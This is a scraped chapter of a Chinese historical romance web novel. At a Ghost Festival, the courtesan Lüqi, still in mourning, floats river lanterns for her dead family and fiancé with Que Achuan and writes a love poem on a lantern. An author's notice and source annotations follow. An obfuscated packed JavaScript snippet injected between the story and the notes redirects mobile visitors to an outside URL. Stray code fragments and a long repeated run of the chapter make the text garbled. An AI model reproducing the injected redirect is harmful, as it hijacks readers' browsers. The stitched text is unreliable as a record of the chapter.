67莲子
中元节的晚上，既有灯会以供娱乐，也有放河灯的地方，供大家寄托哀思。
胤朝女子出行总有诸多不便，加上阙阿荈不想她因身上的皂褙子引来旁人的非议，与她提议换身衣服出去。
“可是我没有别的衣服。”
除了强迫官伎所穿的衣服，那些跳舞、奏乐时穿的衣服，都是官府的，演出结束便要统一收缴。
“那你若不嫌弃，要不，穿我的衣服吧？”阙阿荈突发奇想。
“这，这怎么好意思？”
“这边没什么成衣店，现找裁缝做也来不及。”
阙阿荈带她到营地中自己住的地方，“这些都是我没怎么穿过、洗得干净的。”
“那就……谢过殿下了。”穿他衣服这件事，让她耳根微红。
阙阿荈背过身去。
她也不挑，选了一件最素净的穿上。
“我还以为，你会选更鲜亮些的颜色呢。”他记得她大多数时候都是一袭素白色的衣衫，以及官府要求的黑色褙子，几乎从未见她穿过鲜亮的颜色。
“我还在孝期。”绿绮冷冷道。
“抱歉，我不是有意……节哀。”
“没事。”
胤朝的孝期极严苛，不但要身服缟素三年，而且不食荤腥、不可嫁娶。但她全家获罪，家人尸骨未寒，她就被投入教坊司，白天学艺，晚上受蹂躏。三年孝期未满，就被送到京城“转营”。
守孝无疑是件苦事，有些小家小户里还有年幼的孩子因营养不良而病死的。守节就更不必说了，多少女子在孤苦与亲戚的算计中度过余生。
可是对于她这样的贱籍来说，连守节、守孝这样的压迫都成了奢侈。
良籍的女人在孤苦和辛劳里守孝、守节。
贱籍的女人在孝期被迫卖身。
贞洁和孝义虚妄到带上些讽刺意味，一朝沦为贱籍，连这些曾经不可逾越的道德也没那么重要了。
日复一日的折磨最容易磨掉人的心气。她不愿自己忘了那仇恨，因而从不施粉黛，除去表演之外，亦不愿着华装丽服。
心内闲愁万斛，河中明烛千点。
每年中元节，除去民间寄托哀思，会为家人放河灯，京城里也会统一命小内监放河灯，大多是用竹条与纸糊成的荷花状灯盏，里面点上蜡烛和香，盛在荷叶或者木筏上随水漂流。
这个时节，水月庵和长春观等寺院、道观也会制河灯、做法事。
阙阿荈和绿绮在河边走着。
佛门不称中元节，而称盂兰盆节，但习俗也没什么区别，他小时在水月庵，每年盂兰盆节，都要和母亲以及庵里的尼姑婶婶们一起，用竹条儿和蜡彩纸编河灯。
河灯闪烁，他认出其中一些河灯是水月庵所制，不觉一笑。
绿绮买了几只白荷花状的河灯捧在手中，写上母亲父亲的名字，放在河中随水漂流。
过了一会儿，她想到已逝的未婚夫尚允诚，迟疑片刻，再买了一盏河灯，写上他的名字放下去。
阙阿荈见她犹豫后又放河灯，以为是绿绮某个远亲或者朋友。
“他是？”
“他是我未婚夫。”
阙阿荈微微别开脸。
绿绮发现了他这一闪而过的、说不清道不明的醋意，笑道：“你是……吃醋了吗？”
她哑然失笑，这有什么可吃醋的？
“没……没有，他是个很好的人吧？”
——所以你才这样怀念。
“还行吧，说不上特别好或者坏。”
绿绮眉间染上一丝怅惘。
“说是未婚夫，自我和他家里都获罪之后，他也殒身，婚约自然不算数了。——只是……他也勉强算得上是家人吧，他家中想来已无人，那也只好我为他放一盏河灯。”
绿绮有些无力，微微靠在阙阿荈身上，阙阿荈身子微僵，安慰似的抱了抱她。
他脸微红。自己和已逝的人计较什么呢？
“你不放河灯吗？”话一出口，绿绮即想到，他过得很幸福，既然不放，大抵是不曾有亲人离世，心里不觉泛起微酸的感觉。
“实在要说的话，也是有的。”阙阿荈想了想，他的生身父亲靖王算是一个，只是名义上靖王还活着，不好在她面前放，于是他用手挡着写了一个河灯放了。
他又想了想，再要了两个河灯放下。
绿绮以为他是给远亲放的河灯，便没有在意。
星斗满湖涵秋冷，金莲万朵，彩彻夜明。浪波上浮着的鸥鸟追逐着眩目的光彩，芦苇已有了些雪意，随风轻摆。
中元节除了祭拜祖先，也有不少欢乐的活动，沿河小儿持彩灯嬉戏，还有人演秧歌、耍狮子、演目连戏。
两个人一路沿着河走，很快走到灯会处，摆列许多花灯，也有猜灯谜或者对对联儿的。
绿绮才思敏捷，往往答得又快又好，店家送了她一盏白纱糊的圆宫灯作为彩头。
两个人提着灯，周围街上有不少小女孩儿、小男孩儿嬉戏，互相炫耀自己做的灯：或执长柄荷叶，中间放一蜡烛，青光荧荧；或者用青蒿绑着一捆香点上，称之“星星灯”；甚至镂瓜皮、掏莲蓬做灯，互相玩闹。
欢声笑语中，绿绮望着阙阿荈的面庞。
少男皎洁的面容，在月光与烛火的映衬下，莹然可爱。
她停下脚步，对旁边的店家道：“店家，我借一下纸笔吧。”
阙阿荈不知她要干什么，好奇地在她身边候着。
绿绮蘸墨，在灯上题下：
郎容似莲萼，妾心如松枝。
松柏无时谢，莲意无时衰。
灼灼自颜色，岁晚长相依。
即使不懂诗，阙阿荈也能看懂这些字句背后朦胧的情义。
他化身海豹鼓掌：“好厉害！”
绿绮的脸被烛光映得微红：“称不上。这是我家乡的一首民歌，我只是突然兴起，改编一二罢了。”
————————————--————
【本章还有1k字待更，我争取今晚更，实在更不了会尽力周六之前更。最近太地狱了，又忙，还有各种学校和科室的考试QWQ】
案
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050097|177621||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
：
①绿绮所题民歌改编自宋代沈与求《夹竹桃花》：摇摇儿女花，挺挺君子操。一见适相逢，绸缪结深好。妾容似桃萼，郎心如竹枝。桃花有时谢，竹枝无时衰。春园灼灼自颜色，愿言岁晚长相随。
②所写中元节风俗参考如下：
·《帝京景物略》：“（七月）十五日诸寺建盂兰盆会，夜于水次放灯，曰放河灯。是月，膏露降，民德泽……”
·《帝京岁时纪胜》：“每岁中元建盂兰道场，自十三日至十五日放河灯，使小内监持荷叶燃烛其中，罗列两岸，以数千计。”“都中小儿亦以执长柄荷叶，燃烛于内，青光荧荧，如磷火然。又以青蒿缚香烬数百，燃为星星灯。镂瓜皮，掏莲蓬，俱可为灯，各具一质。”
·《燕京岁时记》：“至中元日例有盂兰会，扮演秧歌、狮子诸杂技。晚间沿河燃灯，谓之放河灯。”
·京都风俗志》：“市中买各种花灯，多以纸作莲花形……小儿女于是夕执灯嬉戏，各自炫耀。”
佛门不称中元节，而称盂兰盆节，但习俗也没什么区别，他小时在水月庵，每年盂兰盆节，都要和母亲以及庵里的尼姑婶婶们一起，用竹条儿和蜡彩纸编河灯。
河灯闪烁，他认出其中一些河灯是水月庵所制，不觉一笑。
绿绮买了几只白荷花状的河灯捧在手中，写上母亲父亲的名字，放在河中随水漂流。
过了一会儿，她想到已逝的未婚夫尚允诚，迟疑片刻，再买了一盏河灯，写上他的名字放下去。
阙阿荈见她犹豫后又放河灯，以为是绿绮某个远亲或者朋友。
“他是？”
“他是我未婚夫。”
阙阿荈微微别开脸。
绿绮发现了他这一闪而过的、说不清道不明的醋意，笑道：“你是……吃醋了吗？”
她哑然失笑，这有什么可吃醋的？
“没……没有，他是个很好的人吧？”
——所以你才这样怀念。
“还行吧，说不上特别好或者坏。”
绿绮有些无力，微微靠在阙阿荈身上，阙阿荈身子微僵，安慰似的抱了抱她。
他脸微红。自己和已逝的人计较什么呢？
他又想了想，再要了两个河灯放下。
绿绮以为他是给远亲放的河灯，便没有在意。
星斗满湖涵秋冷，金莲万朵，彩彻夜明。浪波上浮着的鸥鸟追逐着眩目的光彩，芦苇已有了些雪意，随风轻摆。
中元节除了祭拜祖先，也有不少欢乐的活动，沿河小儿持彩灯嬉戏，还有人演秧歌、耍狮子、演目连戏。
两个人一路沿着河走，很快走到灯会处，摆列许多花灯，也有猜灯谜或者对对联儿的。
绿绮才思敏捷，往往答得又快又好，店家送了她一盏白纱糊的圆宫灯作为彩头。
两个人提着灯，周围街上有不少小女孩儿、小男孩儿嬉戏，互相炫耀自己做的灯：或执长柄荷叶，中间放一蜡烛，青光荧荧；或者用青蒿绑着一捆香点上，称之“星星灯”；甚至镂瓜皮、掏莲蓬做灯，互相玩闹。